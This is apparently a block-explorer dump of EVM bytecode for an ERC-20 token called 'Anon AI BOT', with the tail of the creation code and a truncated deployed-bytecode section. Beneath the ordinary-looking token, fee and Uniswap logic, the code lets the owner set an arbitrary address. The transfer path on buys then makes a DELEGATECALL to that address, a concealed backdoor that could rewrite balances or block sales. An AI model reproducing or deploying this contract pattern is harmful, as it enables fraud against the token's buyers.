73ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612377565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb29190612255565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf391906126b3565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121439190612255565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61217f8161216b565b8114612189575f80fd5b50565b5f8135905061219a81612176565b92915050565b5f602082840312156121b5576121b4612167565b5b5f6121c28482850161218c565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122025780820151818401526020810190506121e7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612227826121cb565b61223181856121d5565b93506122418185602086016121e5565b61224a8161220d565b840191505092915050565b5f6020820190508181035f83015261226d818461221d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61229e82612275565b9050919050565b6122ae81612294565b81146122b8575f80fd5b50565b5f813590506122c9816122a5565b92915050565b5f819050919050565b6122e1816122cf565b81146122eb575f80fd5b50565b5f813590506122fc816122d8565b92915050565b5f806040838503121561231857612317612167565b5b5f612325858286016122bb565b9250506020612336858286016122ee565b9150509250929050565b6123498161216b565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122cf565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612167565b5b5f6123b4868287016122bb565b93505060206123c5868287016122bb565b92505060406123d6868287016122ee565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612167565b5b5f612436848285016122bb565b91505092915050565b61244881612294565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612167565b5b5f61248a858286016122bb565b925050602061249b858286016122bb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124d96020836121d5565b91506124e4826124a5565b602082019050919050565b5f6020820190508181035f830152612506816124cd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561258f5780860481111561256b5761256a61250d565b5b600185161561257a5780820291505b80810290506125888561253a565b945061254f565b94509492505050565b5f826125a75760019050612662565b816125b4575f9050612662565b81600181146125ca57600281146125d457612603565b6001915050612662565b60ff8411156125e6576125e561250d565b5b8360020a9150848211156125fd576125fc61250d565b5b50612662565b5060208310610133831016604e8410600b84101617156126385782820a9050838111156126335761263261250d565b5b612662565b6126458484846001612546565b9250905081840481111561265c5761265b61250d565b5b81810290505b9392505050565b5f612673826122cf565b915061267e836123e0565b92506126ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612598565b905092915050565b5f6126bd826122cf565b91506126c8836122cf565b92508282026126d6816122cf565b915082820484148315176126ed576126ec61250d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127286017836121d5565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a816122a5565b92915050565b5f6020828403121561278557612784612167565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b6122cf565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612368565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612368565b979650505050505050565b5f81519050612871816122d8565b92915050565b5f805f6060848603121561288e5761288d612167565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612368565b9392505050565b5f815190506128fc81612176565b92915050565b5f6020828403121561291757612916612167565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129876024836121d5565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a156022836121d5565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa36025836121d5565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b316023836121d5565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf6029836121d5565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c276019836121d5565b9150612c3282612bf3565b602082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b5f612c65826122cf565b9150612c70836122cf565b9250828201905080821115612c8857612c8761250d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cc2601a836121d5565b9150612ccd82612c8e565b602082019050919050565b5f6020820190508181035f830152612cef81612cb6565b9050919050565b5f612d00826122cf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3257612d3161250d565b5b600182019050919050565b5f612d47826122cf565b9150612d52836122cf565b9250828203905081811115612d6a57612d6961250d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612da7826122cf565b9150612db2836122cf565b925082612dc257612dc1612d70565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e276021836121d5565b9150612e3282612dcd565b604082019050919050565b5f6020820190508181035f830152612e5481612e1b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee781612294565b82525050565b5f612ef88383612ede565b60208301905092915050565b5f602082019050919050565b5f612f1a82612eb5565b612f248185612ebf565b9350612f2f83612ecf565b805f5b83811015612f5f578151612f468882612eed565b9750612f5183612f04565b925050600181019050612f32565b5085935050505092915050565b5f60a082019050612f7f5f830188612368565b612f8c60208301876127f5565b8181036040830152612f9e8186612f10565b9050612fad606083018561243f565b612fba6080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff8601b836121d5565b915061300382612fc4565b602082019050919050565b5f6020820190508181035f83015261302581612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064825b83f228087e8c4e7e63d92f2f46d0c1a130281738659c87fdf946efa1cd64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610117575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610378578063973c7aa4146103a2578063a9059cbb146103b8578063bf474bed146103f4578063dd62ed3e1461041e5761011e565b806370a08231146102a8578063715018a6146102e45780637d1db4a5146102fa5780638da5cb5b146103245780638f9a55c01461034e5761011e565b806318160ddd116100e657806318160ddd146101da57806323b872dd14610204578063293230b814610240578063313ce56714610256578063395bcbf5146102805761011e565b806306935d4f1461012257806306fdde031461014a578063095ea7b3146101745780630faee56f146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906121a0565b61045a565b005b348015610155575f80fd5b5061015e61050b565b60405161016b9190612255565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190612302565b610548565b6040516101a7919061234f565b60405180910390f35b3480156101bb575f80fd5b506101c4610565565b6040516101d19190612377565b60405180910390f35b3480156101e5575f80fd5b506101ee61056b565b6040516101fb9190612377565b60405180910390f35b34801561020f575f80fd5b5061022a60048036038101906102259190612390565b61058d565b604051610237919061234f565b60405180910390f35b34801561024b575f80fd5b50610254610661565b005b348015610261575f80fd5b5061026a610bbb565b60405161027791906123fb565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a19190612414565b610bc3565b005b3480156102b3575f80fd5b506102ce60048036038101906102c99190612414565b610c9a565b6040516102db9190612377565b60405180910390f35b3480156102ef575f80fd5b506102f8610ce0565b005b348015610305575f80fd5b5061030e610e2e565b60405161031b9190612377565b60405180910390f35b34801561032f575f80fd5b50610338610e34565b604051610345919061244e565b60405180910390f35b348015610359575f80fd5b50610362610e5b565b60405161036f9190612377565b60405180910390f35b348015610383575f80fd5b5061038c610e61565b6040516103999190612255565b60405180910390f35b3480156103ad575f80fd5b506103b6610e9e565b005b3480156103c3575f80fd5b506103de60048036038101906103d99190612302565b610fca565b6040516103eb919061234f565b60405180910390f35b3480156103ff575f80fd5b50610408610fe7565b6040516104159190612377565b60405180910390f35b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612377565b60405180910390f35b61046261106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e5906124ef565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600b81526020017f416e6f6e20414920424f54000000000000000000000000000000000000000000815250905090565b5f61055b61055461106f565b8484611076565b6001905092915050565b60115481565b5f6009600a61057a9190612669565b620f424061058891906126b3565b905090565b5f610599848484611239565b610656846105a561106f565b6106518560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61060861106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b61066961106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906124ef565b60405180910390fd5b60148054906101000a900460ff1615610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107f93060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107e69190612669565b620f42406107f491906126b3565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610863573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108879190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190612770565b6040518363ffffffff1660e01b815260040161094e92919061279b565b6020604051808303815f875af115801561096a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098e9190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1530610c9a565b5f80610a1f610e34565b426040518863ffffffff1660e01b8152600401610a4196959493929190612804565b60606040518083038185885af1158015610a5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a829190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b229291906128c7565b6020604051808303815f875af1158015610b3e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b629190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b610bcb61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e906124ef565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ce861106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b906124ef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f416e6f6e41490000000000000000000000000000000000000000000000000000815250905090565b610ea661106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f29906124ef565b60405180910390fd5b6009600a610f409190612669565b620f4240610f4e91906126b3565b600e819055506009600a610f629190612669565b620f4240610f7091906126b3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610fa59190612669565b620f4240610fb391906126b3565b604051610fc09190612377565b60405180910390a1565b5f610fdd610fd661106f565b8484611239565b6001905092915050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612377565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f611360610e34565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e610e34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114cb57506114ca83611c96565b5b801561151e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610c9a565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610c9a565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610c9a565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612377565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612377565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb29190612255565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf391906126b3565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121439190612255565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61217f8161216b565b8114612189575f80fd5b50565b5f8135905061219a81612176565b92915050565b5f602082840312156121b5576121b4612167565b5b5f6121c28482850161218c565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122025780820151818401526020810190506121e7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612227826121cb565b61223181856121d5565b93506122418185602086016121e5565b61224a8161220d565b840191505092915050565b5f6020820190508181035f83015261226d818461221d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61229e82612275565b9050919050565b6122ae81612294565b81146122b8575f80fd5b50565b5f813590506122c9816122a5565b92915050565b5f819050919050565b6122e1816122cf565b81146122eb575f80fd5b50565b5f813590506122fc816122d8565b92915050565b5f806040838503121561231857612317612167565b5b5f612325858286016122bb565b9250506020612336858286016122ee565b9150509250929050565b6123498161216b565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122cf565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612167565b5b5f6123b4868287016122bb565b93505060206123c5868287016122bb565b92505060406123d6868287016122ee565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612167565b5b5f612436848285016122bb565b91505092915050565b61244881612294565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612167565b5b5f61248a858286016122bb565b925050602061249b858286016122bb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124d96020836121d5565b91506124e4826124a5565b602082019050919050565b5f6020820190508181035f830152612506816124cd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561258f5780860481111561256b5761256a61250d565b5b600185161561257a5780820291505b80810290506125888561253a565b945061254f565b94509492505050565b5f826125a75760019050612662565b816125b4575f9050612662565b81600181146125ca57600281146125d457612603565b6001915050612662565b60ff8411156125e6576125e561250d565b5b8360020a9150848211156125fd576125fc61250d565b5b50612662565b5060208310610133831016604e8410600b84101617156126385782820a9050838111156126335761263261250d565b5b612662565b6126458484846001612546565b9250905081840481111561265c5761265b61250d565b5b81810290505b9392505050565b5f612673826122cf565b915061267e836123e0565b92506126ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612598565b905092915050565b5f6126bd826122cf565b91506126c8836122cf565b92508282026126d6816122cf565b915082820484148315176126ed576126ec61250d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127286017836121d5565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a816122a5565b92915050565b5f6020828403121561278557612784612167565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b6122cf565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612368565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612368565b979650505050505050565b5f81519050612871816122d8565b92915050565b5f805f6060848603121561288e5761288d612167565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612368565b9392505050565b5f815190506128fc81612176565b92915050565b5f6020828403121561291757612916612167565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646